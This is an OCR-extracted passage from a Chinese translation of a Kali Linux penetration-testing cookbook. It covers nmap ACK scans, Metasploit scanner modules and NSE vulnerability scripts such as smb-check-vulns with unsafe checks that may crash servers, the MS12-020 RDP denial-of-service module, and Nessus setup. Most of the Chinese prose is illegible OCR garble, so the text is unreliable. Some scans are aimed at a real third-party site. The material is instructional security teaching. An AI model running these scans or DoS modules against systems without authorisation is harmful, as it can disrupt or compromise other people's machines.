MAC Address: 00:0C:29:3D:84:32 (VMware)

Nmap done: 1 IP address (1 host up) scanned in 0.10 seconds

2 ARM M % L8 Metasploit2 A A AT R E » & T 8 R A MAEAT B KGRy » 4
REAITAHOAARTIEE o wR&KAVE packtpub.com A MATA B2 44 »
PTA %O ARRB| A BAELIE BT TCP# w2 80 XA Web 2 A FM 3y o &
EELfAfE ORI B R EASRTIRGH O o



root@KalilLinux:~# nmap -sA 83.166.169.228

Starting Nmap 6.25 ( http://nmap.org ) at 2014-01-24 11:25 EST
Nmap scan report for packtpub.com (83.166.169.228)

Host is up (0.15s latency).

Not shown: 999 filtered ports

PORT STATE SERVICE

80/tcp unfiltered http

Nmap done: 1 IP address (1 host up) scanned in 13.02 seconds

AT EPTA T TCP s 0 LATia ks » FRAWATAH THAM ik - T LT
kA B AT O HAEE) TCP k339 R 1612k » HF—AL T A A4E 1 B#F 0 ° ATk
—3tF 2 **16 &K 65536 4 TCP 35 T bk o 4 TP A Thetg it = ] » sL/R
=41 3] 65535 8 JLHE o

root@KaliLinux:~# nmap -sA 172.16.36.135 -p 1-65535

Starting Nmap 6.25 ( http://nmap.org ) at 2014-01-24 11:21 EST
Nmap scan report for 172.16.36.135

Host is up (0.00041s latency).

All 65535 scanned ports on 172.16.36.135 are unfiltered

MAC Address: 00:0C:29:3D:84:32 (VMware)

Nmap done: 1 IP address (1 host up) scanned in 1.77 seconds
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T Nmap 4695 %2 6k » TR TRH B KGR - XE% A Nmap i
A% A Z AT £ Scapy Fb4s Ttk 6948 Bl 7T 0 R PAT AP B K3&R 5] o SYN F= %k
TR E) ACK B9 &2 XA % AArma » s AT oM RAIBTLIRKRE o

4.18 Metasploit 7 K312 7|

Metasploit #1 — /M2 iE A3k » TURA TR S ABMEst oo » AT
SYN/ACK KM v 2 47 » Sk F|Wism O & FH LI o

%

A T 4 A Metasploit k#4787 K3&G R 5| » R EBZEBITMEBIRF TR L% o LI
REE LI — R JEAUR] o T E A B B KGR G RELAT gL - 4
4= Windows 77 K3& k Tk o i@ 33 K3G 1% &6 RL E o R % A9 15 5K
ENF LR o
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A T 4£ F Metasploit ACK 42 # 42 3k 5k AT 7 K3 Fa 3 U8R 5] » AR A sesL A Kali
By %suF 6 5 MSF 124 6 » LG use 4 &MATF 694 B AL 3R o

root@KaliLinux:~# msfconsole
# cowsay++

< metasploit >

\ r—
\ (o00)
(—) N

[--11

Using notepad to track pentests? Have Metasploit Pro report on h
osts, services, sessions and evidence -- type 'go_pro' to launch
it now.

=[ metasploit v4.6.0-dev [core:4.6 api:1.0]
+ -- --=[ 1053 exploits - 590 auxiliary - 174 post
+ -- --=[ 275 payloads - 28 encoders - 8 nops

msf > use auxiliary/scanner/portscan/ack
msf auxiliary(ack) > show options

Module options (auxiliary/scanner/portscan/ack):

Name Current Setting Required Description

BATCHSIZE 256 yes The number of hosts to
scan per set

INTERFACE no The name of the interfa
ce

PORTS 1-10000 yes Ports to scan (e.g. 22-
25,80,110-900)

RHOSTS yes The target address rang
e or CIDR identifier

SNAPLEN 65535 yes The number of bytes to
capture

THREADS 1 yes The number of concurren
t threads

TIMEOUT 500 yes The reply read timeout

in milliseconds

— B 3 F TSR > TAE R show options 4 KA INRE A2 B E o XA

Lok T@ANT 0 R @

% name ~ current settings ~ required #° description ° name 7|iz &
THEANTEREZTEMNLAR o current settings 2|7 THEATL T T EHIA B



& o required FlAz i THEME L T E » EXEALME o description 7|44
T BN ZARE o AT T T ZHETUER set o4 > FAFFGEMEN
BB CRIG R -

msf auxiliary(ack) > set PORTS 1-100

PORTS => 1-100

msf auxiliary(ack) > set RHOSTS 172.16.36.135
RHOSTS => 172.16.36.135

msf auxiliary(ack) > set THREADS 25

THREADS => 25

msf auxiliary(ack) > show options

Module options (auxiliary/scanner/portscan/ack):

Name Current Setting Required Description

BATCHSIZE 256 yes The number of hosts to
scan per set

INTERFACE no The name of the interfa
ce

PORTS 1-100 yes Ports to scan (e.g. 22-
25,80,110-900)

RHOSTS 172.16.36.135 yes The target address rang
e or CIDR identifier

SNAPLEN 65535 yes The number of bytes to
capture

THREADS 25 yes The number of concurren
t threads

TIMEOUT 500 yes The reply read timeout

in milliseconds

A& E@megFF 0 RHOSTS AW 2N RAVAT Fia by A2 A 469 |P 3k o sbdb >
KAZH TN 20 THREADS MIMAR XL TEBE EWMATH S At S & - AT L&A
REGARFE—NFH - RIERMESRE > LR HARTR - 4T 5
AL 20 NEARTUARS R » FAAML S - SR TLENTEZE » TUHFR
1% B show options @4 KIE o — T AT FERERIELE » ST AMATHERT -

msf auxiliary(ack) > run

[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

BABIFF o —REGM AR XM REE ) SR T THEMALNEK
T ABRBERPATZE - Ml b96: 2 Z R A > = SYN LR ACK 7E A A8 X 8 ok 52 K
— Ao BRI 5 — A% 0 0 B4 Metasploitable2 % %% A ATy K& o 4F 4
B e REAE packtpub.com #H EWATAFlafh » @34 RHOSTS M5 A
FagA K6 IP deit > RATRMEI R A 694 o BA RN EAHAETT KEHE » F
AT IR OAR KGR F 8 T AL T



msf auxiliary(ack) > set RHOSTS 83.166.169.228
RHOSTS => 83.166.169.228
msf auxiliary(ack) > show options

Module options (auxiliary/scanner/portscan/ack):

Name

BATCHSIZE
scan per set

INTERFACE
ce

PORTS

Current Setting Required

256

1-100

25,80,110-900)

RHOSTS

83.166.169.228

e or CIDR identifier

SNAPLEN
capture

THREADS
t threads

TIMEOUT

65535

25

500

in milliseconds

msf auxiliary(ack) > run

yes

yes

yes

yes

yes

TCP UNFILTERED 83.166.169.228:80

[*]
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
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Description

The

The

number of hosts to

name of the interfa

Ports to scan (e.g. 22-

The

The

The

The

target address rang
number of bytes to
number of concurren

reply read timeout

Metasploit 74 — /N4 BI AR IR » T AL % A B 75 AT By K& m 5] » R B 5 a7
i o /2% » Metasploit .42 T — &) @R ;AT K3FE LT TUAATHERE
B R ETAA o



FhFE KRR

Y4 : Justin Hutchens
CE Y
1L : CC BY-NC-SA 4.0

RETVAEEFRGIGEAER » VAR RPTIR B B RR A48 % FiR k12 5] 7F %
BB AZRAFTEZEFTRENE - BAESHHERAERTE > €A FT T
HRZRRI;ERAILN - BEEHRFEEIEEAAHILHAFRSF » TIXiA L
WRA AL RIRFRFE o ABIENRRARBEEGRIEL » QR EEE—ZI| TR
B3R R ZRBBEHRBAALG R o RE > SR IERRAME &% AR
gty » BATHRSE » IHAGAEIMAARNERIZEGEIE A AR
A% o

5.1 Nmap #7 A~ 3] % R iR 43 4%
Nmaph &3] % (NSE) 347 KB A » TR F#IT— £ 7] A S LIE 5 R iF4E

A ARG - KaliP TAKEI I ANSER RS A SATRGER » P2 —ZRA
RAH o

A%
ZAE FINSERAT RR AT » IR EZH —ANELT TCP H UDP MA&IR &0 A4 - &

RPLE BT o 2R A /2 SMB IR % R 69 Windows XP A% © A K& E
Windows A48 & %12 & » A K+ H —F“% X Windows Server’#t4% o

BAE T B

W% RE 87 kT AR TR 5 ST T ONSEM A48 ZBE 69T A8 o A 2 7 ik
Z —&AE AL TNmaph A B FF 48 script.db X o BEFIHGAZE » &K
TR cat ¢4 0 BIXAE


https://github.com/
http://creativecommons.org/licenses/by-nc-sa/4.0/

root@KalilLinux:~# cat /usr/share/nmap/scripts/script.db | more

Entry { filename
, 'safe”, } }
Entry { filename
"safe", } }
Entry { filename
rusive", } }
Entry { filename
fe", } }
Entry { filename
, "intrusive", "
Entry { filename
", "discovery",
Entry { filename

yH’ llsafelll } }
Entry { filename
1t", "safe", } }

Entry { filename
rusive", } }
Entry { filename
, "safe", } }
Entry { filename
"safe", } }
Entry { filename
, 'safe", } }

ZA script.db XHFA—/3E

= "acarsd-info.nse", categories

"afp-brute.nse", categories

vuln", } }

= "afp-serverinfo.nse", categories

safe", } }

"address-info.nse", categories

{

"afp-1ls.nse", categories = { "discovery",

"afp-path-vuln.nse", categories

{ "discovery"

{ "default",

"brute", "int

"Sa

{ "exploit"

{ "default

= "afp-showmount.nse", categories = { "discover

"ajp-auth.nse", categories

"ajp-brute.nse", categories =
"ajp-headers.nse", categories
"ajp-methods.nse", categories
"ajp-request.nse", categories

R ks

M I8

{ "auth",

{

"defau

"brute", "int
{ "discovery"
{ "default",

{ "discovery"

By &5 > B EANNSER A UL B PT

Bt KR o XK F| AARAEE 0 T AT R 4F T LB B AHAT grep © R

B 42 4 My K8 R B 2 AR

& vuln

o ZARF|ATA RIFM AR 0 FE 2t vuln RiEH#

1T grep  ARBAEA cut FARBEANB AL AL o FXAE



root@KaliLinux:~# grep vuln /usr/share/nmap/scripts/script.db |
cut -d "\"" -f 2

afp-path-vuln.nse

broadcast-avahi-dos.nse distcc-cve2004-2687.nse
firewall-bypass.nse

ftp-libopie.nse

ftp-proftpd-backdoor.nse
ftp-vsftpd-backdoor.nse
ftp-vuln-cve2010-4221.nse
http-awstatstotals-exec.nse
http-axis2-dir-traversal.nse

http-enum.nse http-frontpage-login.nse
http-git.nse http-huawei-hg5xx-vuln.nse
http-iis-webdav-vuln.nse
http-litespeed-sourcecode-download.nse
http-majordomo2-dir-traversal.nse
http-method-tamper.nse http-passwd.nse
http-phpself-xss.nse http-slowloris-check.nse
http-sql-injection.nse
http-tplink-dir-traversal.nse

AT #—F G LR R FEML TR TUEA cat 4K EH .nse L
# €5 script.db B EAFE o WA K S B A ZEF AL EL
RGN A% more » AMEM ER| T HELH » e THF -

root@KalilLinux:~# cat /usr/share/nmap/scripts/smb-check-vulns.ns
e | more

local msrpc = require "msrpc"

local nmap = require "nmap"

local smb = require "smb"

local stdnse = require "stdnse"

local string require "string"

local table = require "table"

description = [[

Checks for vulnerabilities:

* MS08-067, a Windows RPC vulnerability

* Conficker, an infection by the Conficker worm

* Unnamed regsvc DoS, a denial-of-service vulnerability I accide
ntally found in Windows 2000

* SMBv2 exploit (CVE-2009-3103, Microsoft Security Advisory 9754
97)

* MS06-025, a Windows Ras RPC service vulnerability

* MS07-029, a Windows Dns Server RPC service vulnerability

WARNING: These checks are dangerous, and are very likely to brin
g down a server. These should not be run in a production environ

ment unless you (and, more importantly, the business) understand
the risks!



FEREG T P > ZA1TAE P smb-check-vulns.nse By A4 SMB IR %48 %
B — 2 3B 4R Ao AL YAT R o KL 5 T AR B B A 60 R B A 0 AR
Microsoft ¥t T#CVE %5 8931 F » T8 T AL XL 9 LT 8 o @d s —F N
1w BRAVT RS —F T B A » 1RX4F .

- -@usage

-- nmap

--script smb-check-vulns.nse -p445 <host>

-- sudo nmap -sU -sS

--script smb-check-vulns.nse -p U:137,T:139 <host>
---@output

-- Host script results:
-- | smb-check-vulns:
| MS08-067: NOT VULNERABLE
| Conficker: Likely CLEAN
| regsvc DoS: regsvc DoS: NOT VULNERABLE
-- SMBv2 DoS (CVE-2009-3103): NOT VULNERABLE
| MS06-025: NO SERVICE (the Ras RPC service is inactive)
| MSO7-029: NO SERVICE (the Dns Server RPC service is inact
ive)
--- @args unsafe If set, this script will run checks that, if th
e system isn't
-- patched, are basically guaranteed to crash something. R
emember that
-- non-unsafe checks aren't necessarily safe either)
-- @args safe If set, this script will only run checks that ar
e known (or at
-- least suspected) to be safe.

W — W R > RATT AR E B R T A9 5%k 0 & 5 69 R IR AR R R TR A 44 s 69
T F@ER c BEZ—ANFEL > A—ANTLENHSE > TUREAMEO (KK
E) R (BE) o XEFR EANmapRIRAM AT —AF LN G » AR L
4&%% KINFALT » Tité\f‘#(uﬁﬁo L% B phfant o Nmap?éiuﬂ'%ﬁ”f
SEABBMRFGMRK o RAXFARBAREREF (ZCAF BREF S MRGLE
%%Ktﬁ%’%ﬂ*%mﬁﬁ$TA&ﬁ %u&éxfékﬁugﬁihﬁﬁ
BFA G Ia R 423X R g £ RAMRF SLT 4h 2 £ & A LA o &7 RARR > &
1% nmap --script SR LA AINSER A 0 FHiE

Fl nmap --script- args P R A 3 PR B AR A T A9 Ak o b AN TR
W kEATRAER > ZENmaple & AR5 Hatk$ st m g a » T
.



root@KalilLinux:~# nmap --script smb-check-vulns.nse --scriptargs
=unsafe=1 -p445 172.16.36.225

Starting Nmap 6.25 ( http://nmap.org ) at 2014-03-09 03:58 EDT
Nmap scan report for 172.16.36.225

Host is up (0.00041s latency).

PORT STATE SERVICE

445/tcp open microsoft-ds

MAC Address: 00:0C:29:18:11:FB (VMware)

Host script results:

| smb-check-vulns:

| MS08-067: VULNERABLE

| Conficker: Likely CLEAN

| regsvc DoS: NOT VULNERABLE

| SMBv2 DoS (CVE-2009-3103): NOT VULNERABLE

| MS06-025: NO SERVICE (the Ras RPC service is inactive)

| MS07-029: NO SERVICE (the Dns Server RPC service is inactive
)

Nmap done: 1 IP address (1 host up) scanned in 18.21 seconds

TH—NEZLEZENNSEH K » RACRBET —ANFE2YRAEHMT N o XA A
& smb-vulnms10-061.nse ° ZXABpPAGGLaF T L@ 4E A cat 4
4 pipe % more - M _EZ|T 3B AR RS

root@KalilLinux:~# cat /usr/share/nmap/scripts/smb-vuln-ms10-061.
nse | more

local bin = require "bin"

local msrpc = require "msrpc"

local smb = require "smb"

local string = require "string"

local vulns = require "vulns"

local stdnse = require '"stdnse"

description = [[

Tests whether target machines are vulnerable to ms10-061 Printer
Spooler impersonation vulnerability.

R R SE Stuxnet¥E £ A A 8w AN RIRZ — o AL AN AeE vuln 0 T

AAMRERARYGTRE  AAZXTREABRICFRE o A THATEDN > ©F 25
FlZfEALEHE Y —ANRLZIIHGPI o FIAFLT » € 2184 I LANMAN APIA A
A EXRAGLEERTH o ERAFRAT » AP KTt T LM
AITIB RS o BERITHMEE » TWA4EH smb-enum-share °

o EREEAL L BRI AEZTFRRAORIE > TUMEA smb E 895 %K
smbuser ## smbpassword 8 & o KA1 X ANFRIFE RS AR R L 0 A2 T ERAF
RZ A > sbMHRS ANEAFLM o Bk AALMEITH RGBEELZLZ— (XP
Server 03 SP2 » Vista * Server 08 Windows 7) ° %= » &,/ £y MS10-061



AT s I TABRETRARATRE - )5 » AL L RKHATIREZ LM T N5
] o HABEIE » KAV TAFHSMB 242G TR BRFR S » UHTALAAET
AT AR AL LEZGEEZTINANITHMN c ERA AW X THZIZRAZL
B TE 8RR o —RIRF AR 2% R4 R LR A RR > 12RIE TG
EERAH o RE > BMRFEREESF (eNSERAR) K IREA T E &M » URATE
AAAL HZTRF o LR TE P > 2R RAARGEA » f2e XA L Fmfdr
FRAL o A& T ey .

root@KaliLinux:~# nmap -p 445 172.16.36.225 --script=smb-vuln-ms
10-061

Starting Nmap 6.25 ( http://nmap.org ) at 2014-03-09 04:19 EDT
Nmap scan report for 172.16.36.225

Host is up (0.00036s latency).

PORT STATE SERVICE

445/tcp open microsoft-ds

MAC Address: 00:0C:29:18:11:FB (VMware)

Host script results:
| _smb-vuln-ms10-061: false

Nmap done: 1 IP address (1 host up) scanned in 13.16 seconds

ERBGTHEF » NmaplHAZ ALT L dk > AACEAXFZAEITHN - K
BT T EA R RIR 0 A2 AR E R R BB AREE  RA ARG AREA 0
BT LB TR 2T NZRZELEZITAAE LT A L RIR o X3 A& LR -4 B
HRRAPMEFOZERGRRA > METATRLER - — BRI RAFTEAR
A MmAEL B MR o X BRAAEH B RGFOZLZT X o KEHSHEMNR
ARTHREERKE WAL TR T EDRY CH K&K > AT RLRT LK
DB RRBA R RERFI A RR o A ARATENTRESRWERGET

MS10-0614h T » AME AL T AR A %A » B EILA 5B T RaF A KRR o
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REZFERABEZFATFHEELZANTRNG AL » 2 IRALRALTE I T K
HFeo £—REFEALT RAAKMTARIAY S ZRIREELTCPER » LA F A
B RAE R3] Cde RN o £ AT » T B A2 IR 5 K % — 4 5] B 2
AT IR ME R s R RXBF RIS E—rar » BIRE H2H LR E - £
NSER R K67 F » e REET unsafe H%k > RAdaf £ L% 2X4] A
iR o

5.2 MSF i 942 3k R iR 42 4

5NSE #2469 iR 42 R Bp A KL > Metasploitif 424 T — 4 A 69 /K A 42 f 42
oo RWLTNmap® kA » K% 8848 S A4ttty » I TR#BFTHRS o
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#1% ] MSF 24 BB 3 PAT RE AT » IR E £ H — 1247 TCP 2 UDP M 2R %89
A4 o ARG TE P > &4 A AL SMB MR RIF Y Windows XP 2%, - A %
% & Windows A48 ® %12 & » H A AP H —F“% X Windows Server’#k 4% o

H % # AR 89 77 ik T VAR T4 € Metasploit T 69 RRiafa s sh ik o —fp A 269 7
FAR WM ER X AARXEZRE LGRFARINBANELENILE - HAAFT @
#4457

root@KalilLinux:/usr/share/metasploit-framework/modules/auxiliary
/scanner/

mysql# cat mysql_authbypass_hashdump.rb | more

H#it

# This file is part of the Metasploit Framework and may be subje
ct to

# redistribution and commercial restrictions. Please see the Met
asploit

# web site for more information on licensing and terms of use.

# http://metasploit.com/

Hit

require 'msf/core'
class Metasploit3 < Msf::Auxiliary

include Msf::Exploit::Remote: :MYSQL
include Msf::Auxiliary::Report

include Msf::Auxiliary::Scanner

def initialize

super (
"Name' => 'MySQL Authentication Bypass Passw
ord Dump',
'Description' => %Q{

This module exploits a password bypass vulnerabili
ty in MySQL in order to extract the usernames and encrypted pass
word hashes from a MySQL server. These hashes are stored as loot

for later cracking.

XA R K69 A By A AE S AR AL A o AT T R KGR TT VAR 48 A cat 4 o
RE¥KHE pipe 2|l more » M ERI THEMARMT o £REGFH P > KN
T VAK BB A K T MySQLEIE IR 5 F A 26 e ie e L RIA o KA 0 T
ALEMSF#EH & @ P4 R RFRH|ER o £477F€ » 21412 msfconsole 4
Beo BWERGELEIBTUHMEMIGIF T XEF—RAER » R Tlik

Fl scanner X*4EFEH GBI/ ME B X FOPTA B R > 123X ¢



msf > search scanner

Matching Modules

Disclosure Date Rank Description ----

auxiliary/admin/smb/check_dir_file
normal SMB Scanner Check File/Dire
ctory Utility
auxiliary/bnat/bnat_scan
normal BNAT Scanner
auxiliary/gather/citrix_published_applications
normal Citrix MetaFrame ICA Publis
hed Applications Scanner
auxiliary/gather/enum_dns
normal DNS Record Scanner and Enum
erator
auxiliary/gather/natpmp_external_address
normal NAT-PMP External Address Sc
anner
auxiliary/scanner/afp/afp_login
normal Apple Filing Protocol Login
utility
auxiliary/scanner/afp/afp_server_info
normal Apple Filing Protocol Info
Enumerator
auxiliary/scanner/backdoor/energizer_duo_detect
normal Energizer DUO Trojan Scanne

auxiliary/scanner/db2/db2_auth
normal DB2 Authentication Brute Fo
rce Utility

IR AARA A LGB AR » TMER use A2 R FE R A o
—B#&E > LT info 4 THTHRA ARG Lieimiz &> iz 1Emiz &
Fu > AT A



msf > use auxiliary/scanner/rdp/ms12_020_check
msf auxiliary(msl12_020_check) > info

Name: MS12-020 Microsoft Remote Desktop Checker
Module: auxiliary/scanner/rdp/ms12_020_check
Version: O

License: Metasploit Framework License (BSD)
Rank: Normal

Provided by:
Royce Davis @R3dy_ <rdavis@accuvant.com>
Brandon McCann @zeknox <bmccann@accuvant.com>

Basic options:

Name Current Setting Required Description
T T RHOSTS
yes The target address range or CIDR identif

ier

RPORT 3389 yes Remote port running RDP

THREADS 1 yes The number of concurrent
threads
Description:

This module checks a range of hosts for the MS12-020 vulnera
bility.
This does not cause a DoS on the target.

— B 33T AR 0 show options #4 A TRF Ao/ RERIafhi & o sbap 4%
ETWAFIEA 0 .45 Name , Current Setting , Required |,

#2 Description ° Name Z|AzRENTEE T 6954

Current Setting Z|Z| BIEMA T L ENIABRE o Required Az RIE(T4
TREAGEEI o Description F|#MEEN T EREK o TAALAE

Fl set A FHRBEIMEEA S I REHEML T T EHME > o THF :



msf auxiliary(ms12_020_check) > set RHOSTS 172.16.36.225
RHOSTS => 172.16.36.225
msf auxiliary(msl2_020_check) > run

[*] Scanned 1 of 1 hosts (100% complete)

[*] Auxiliary module execution completed In this particular case
, the system was not found to be vulnerable. However, in the cas
e that a vulnerable system is identified, there is a correspondi
ng exploitation module that can be used to actually cause a deni
al-of-service on the vulnerable system. This can be seen in the

example provided:

msf auxiliary(ms12_020_check) > use auxiliary/dos/windows/rdp/m
s12_020_ maxchannelids
msf auxiliary(msl12_020_maxchannelids) > info

Name: MS12-020 Microsoft Remote Desktop Use-After-Free Do
S Module: auxiliary/dos/windows/rdp/ms12_020_maxchannelids

Version: 0
License: Metasploit Framework License (BSD)
Rank: Normal

Provided by:
Luigi Auriemma Daniel Godas-Lopez
Alex Ionescu jduck <jduck@metasploit.com> #ms12-020

Basic options:
Name Current Setting Required Description

RHOST yes The target address
RPORT 3389 yes The target port
Description:

This module exploits the MS12-020 RDP vulnerability original
ly discovered and reported by Luigi Auriemma.

The flaw can be found in the way the T.125 ConnectMCSPDU pac
ket is handled in the maxChannellIDs field, which will result an
invalid pointer being used, therefore causing a denial-of-servic
e condition.

I AE)R 3

REZFRRAA#HEF2BIFESZATRAG AL RZRALTRAALS S HTHIK
# o —RHFRT » RiAEET ALY 5 AR S LTCPE#if Ll it A &
BIAFAE > R A Ede B RIFIRA o £ RACE LT » TR ZRRFRE— R E &8
HFRHEMFE R RRXEFRARSGE—0aL » GRFHIHTHE - AA@E
BBl o By ARAE R R T RERE T — A F AR A RE—0va R > BoRa RERS
L RRAGAN L O R AR 0 KRG RAE A8 T AEAT 45 € 89 8 5 7T F| A 69 J o o
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Nessus TR B KA RRAAMEZ —  BAITIA—NMEAEAR—LAL
Nessusi§ B #hia #PTA TIRHI IR S8 KERF o TALENessus Tt HEIafh R -
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B %
F i Nessus ¥ B & 12 # 7% » oL B k£ Kali Linux# i M X -F & L2 % Nessus i

Fed A o B ANessusE—NEZFTHT & "’E’?ﬁé\ﬁKali?Jﬁ}\%%ﬁ o A K4wm
foT £ Kali P 2 ¥ Nessus# £ %13 B » 55 F —F P 69“Nessus &£ "#biE o

A B

% 7 Nessus T fe & # 6942 4 R% » & % F 217 FINessus Web -

@ : https:// localhost : 8834 X https://127.0.0.1:8834 ° HFH » o}
R RN B 4T Nessust9 48 F] & 4017 F\Web @ » W &2 48 A48 &2 69 IP3AL R EAHLE © Jw
BWebF@mE » REZMEAAREIRLFRENKP RREEHEG Lk P B
FoBEFE REFERN @AY Policy A F - wREARELREG » KK A
B —ANEH RF—A New Policy %42 o B F ik THHBES —MafR

A o

¥ & New Policy /& ° Policy Wizard A #3§5 i — T fe B 6942 AR » =T Al
Tl 2 R IR o w T o FRBEN T BMERARELE—NEAR
KRG B A LT A8

Policy Wizards

M T

Host Discovery Basic Network Scan Credentialed Patch Audit

£ O L]

Web Application Tests Windows Malware Scan Mobile Device Scan

ERSZEHFEAT > BEABRENEMERE KT 2V —NM5FRZRARGEE 4
ML o TTREPT A X P 7 H89% Basic Network Scan ° &184% » HFET—A
WG MATOE R A R ENENF@IZE o CNAZLENE » LR E BA



¥ oo KA o de RAR T A RARATIA B » BT AG TR H ik
# Advanced Policy % » X S 1EARI K A4S o
o RBFEMT—AFBEEOER > BT ARBL =TI R RIHEE - %
HARY;AHAT TR
1. TEAAFBREARNEWIZE » QR E XH LA #Hilf T ILHE (AR
FoA) o AT AANTHIGE TP A Nessus A P TR, » A AMNARFREE
bR P ARk B o
2. FH2K MG F N TR AT LIEHRIER o a4 T AL
5 P 8 EAMATEY > BEALT AL ML GDMZF o S fa# T2 RE4TH
—M % > 12T £ Internet EAT o RE 0 WML APMATANREAR » FLER
B 3515 ¥ 42 15 B AR 49 LAN o
3. %3 ;5 —F » 1 FISSHAWindows & 1 31k 14 Kiz #% & 09 F iy e &
¥ o TG 5] Profiles #I-FB » AL LA A EE 5| &+ A 2 #69
BB U o 13X AE

All Policies Name

Example Policy

AP kT AR AR A A AR B B A 0 B R A T A FE R MR 69 TR R Fe 3
TR AR o B RFEMORE > FEHHUENRE LR RE®
# Advanced Mode #%4% o EER X THRAET L@ LK TAEFRE
Ml B @A R FE 8RR K

General Settings (FHMEE) ELREARRE » T L WfTAT L AFe
IR ZAA B F o8 O 32 R - AR T LA R E » ¥R FHTHF RE M aEk
Iﬁ]: o

Credentials (% 1E) : #t3 ¥ 77 L& & Windows * SSH » Kerberos %1 » #£%
— BB TR (RIfEH) o

Plugins (&%) : sb3E £ 4R4E st NessusdB o9 p g tm by ded] o “d647 2T
Nessust Al THATH L FHRRRAALETNNE o RTAREDEER B A XER
FIH > RABRNBRAFF T IEF -

Preferences (B ) : X #2282 T NessusHT A BAE 469 MR B >
BlheHTTP & 3ok » A X EFRIEE R L o

IAE)a 3



B R TS TNessusHE 91 » 2 XL ThefTiEiTialh o I¥BHMELER
REERHOGRENEH AT E—HEREL  REGR T LFNREESEALAA
TSN IEFe iR E B E —H B & o

5.4 Nessus /Bl {2 4

NessusExE Kfr A @ RRAAMEZ — B TMA—NMEAEAR—LAL
Nessusét® B M A TIRHPMFZEORERF o —FEHETHAMABRT L
Nessusiafh & B E » A fh BT A Tt 242 B AT M #4798 - IR
¥4 & 4ot 48 FI Nessus AT FiR 42 3 o

&

F i Nessus ¥ B B 12 # 7% » oL & k£ Kali Linux#iE M X -F & L2 % Nessus#
aeal A o B ANessusE—NEZFTHT & "E’?f\é\ﬁKalii@ii}\%%’i o B K4m
{7 e Kali b 2 ¥ Nessust £ %12 & » H 5 H % —F F 89“Nessus X "#biE o

b o fE4E FINessusfa 2 AT » FRAEEV — A2 R% o A X/ Nessus T 4l
B REE 5138 A5 E—AREE o

B B

#fENessus P A4 #r89dath » BERARAEFFNALIFET Scans ®AF o 2R
HERAEITAR NEERRFTRER—ANEIN L o BT EZ—RIafh BFR
¥ &R EMEGE & New Scan dx4m » RAE

My Scans
MNo scans have been generated

Trash

» All Scans

BEZ—LRERGEREFZL - AARRFTHRIAN—ZRIIFHE > &3 Name |,

Policy , Folder ,# Targets ° Name FEMR A E—Az24 » Afiat s
REAMBPRRESTT - wREBPITRELH > MNALZEFTAHIRH LA - H =N
FHRABLEZXL MO @Y o WFBEAFREFEE A RS - wRETR
AR RGO TAERIL » FHAMARH PO L5 o BRA P QI ZET AL
KA R REAR L £ Policy THEEF LT o Folder FRELKKEH
RO - SREFENRKEPMERBTHSN » B L TARAMAEA
#HBh o AT ¥ & New Folder M Scans EX EREH GBI L - G —



MNFHBE Targets o WF BRI FTWfME LR AL £RXE > RTUAMAE
ASEHUPHAE » [PHuAEF] & o IP3AEEYIN 5 CE » CIDRECERIPEE ] & o & o
PRI VAAE R AL > 1Bk 32 3 B 78 9%1% IDNSE# AT 4IP3t - 6 » A —A
WA T BB LRI » BEaAET LiiAg X6y BAz2) & > 123X

Basic Settings
Mame Example Scan
Puolicy Example Policy -
Folder My Scans -
Targets 172.16.36.0/24
Upload Targets Add File

L EdafhE » T VML R BB JE3E) Launch 4k hiTdats o XL P dafhih
Bl ks FAETUEINEALER WA TRAERBHRT :

My Scans
Mame Status
Example Scan 2 Running

PPida i B2 84T » RET U HPMEMR > FERIN BRI ALERRR - A&
Y T iz 2 5l RAGRERLT EHRH] > Wl THBEBENT

Example scan
Scans » Hosts a Vulnerabilities Remediations

Host Vulnerabilities %

172163225 . e
172.16.3.138 0




¥ & Example 245 » KA TUREBANELRRG I o F—NETHAMIT
R B ANAEMATRT2% ° Vulnerabilities | P E T E&HEA I 5 EHENS
FENKKORFLE o XA > TURERFERMAE Vulnerabilities 44 0 &
BRI RBAARI T ZRBAG IR T RARER o BEZRGEM > BANTUE
B F AL > 42X — A2t B T AT 245 69 AL 0 4o A TR B A T

Scan Details

Mame: Example Scanl
Folder: My Scans
Status: Running
Policy: Example Policy

Start time: Sun Mar 9 13:00:08 2014

Vulnerabilities

@ Inio

B Low
Madium

B High

@ Critcal

A B R EW T LAY IR @A L 0 N RAERR R T o @ TR T
AUIPHLAE 89 4% 2 > AR T VA& 2R 5] A 1% Z AL 4F 2 RA ¢

WRIR P R ARG L AR BF 2SR A~ EHER 0 ZA o 454 FHEN
RALF » W BB BAr A% L S ILRARDPAT » 2405 & RFEE L RA AL
89 o AT FEAT— AT IRE > BRTUEFRRAG RS E@ZE s md TRE
BEPTTE

Exarmple Scan Expot =

Hosts > 17216.36.225 > Vulnerabilities [}

Severity = Plugin Name Count
MS05-027: Vulnerability in SMB Could Allow Remote Code Exec... 1
MS06-040: Vulnerability in Server Service Could Allow Remote C... 1
MS08-067: Microsoft Windows Server Service Crafted RPC Req... 1
MS09-001: Microsaft Windows SMB Vulnerabilities Remote Cod. .. 1



M T R ASAME BRI R @R A — T RRESRRR  REEZHGZ
(2 FAEMEAR ) LAABHERR o 36T % E2 AN TH A A LT
NFEGFIR 0 B AGEHLETHAESR (4d=Metasploit » CANVAS =k, Core

Impact) + °

IAEJR3E

RKEFRRABMEBTFLAALIFFESANATRAN AR RZRACTAARTE ) TH K
Fro —RFRAT » RARHTUAMIASZRREFEITCPEEF LA T A KA
BIEFAE » IR B b RFI IR AR o ERXAFAT » TUGEBIRERE— AT B L8
B gIRMFR > R RAFRKRAIREGE—Mram » RS HHFTHRE -
NessusFl B # AT K MK » kXA AL ARERTENFDARG -

5.5 Nessuscmd 41742 &%

Nessuscmd&Nessus P #4447 T B o Jo F R4 2 % NessusiE 42 #5 & . 2 iy
Ao REHIRAE LI LI RE > Nessusemd T 46 IE % A F o

&

% 72 Nessus P . B 32 34 %9 » o000 & /2 Kali Linux#5 % X F & L2 ¥ Nessus
SR o HANessusE—NEZHTH-A R EXRSEKaAIKIANZEE o A x4
{7 EKali b 2 % Nessust # %12 & » H 5 H % —F P 89“Nessus & "#biE o

B B

RE 1 3] @4 nessuscmdBr A6 B kT4 o KRG o T NIRRT AR
TR ART A F A R xfe T Ry » o THT :

root@KalilLinux:~# cd /opt/nessus/bin/
root@KalilLinux:/opt/nessus/bin# ./nessuscmd

Error - no target specified

nessuscmd (Nessus) 5.2.5 [build N25109]

Copyright (C) 1998 - 2014 Tenable Network Security, Inc
Usage:

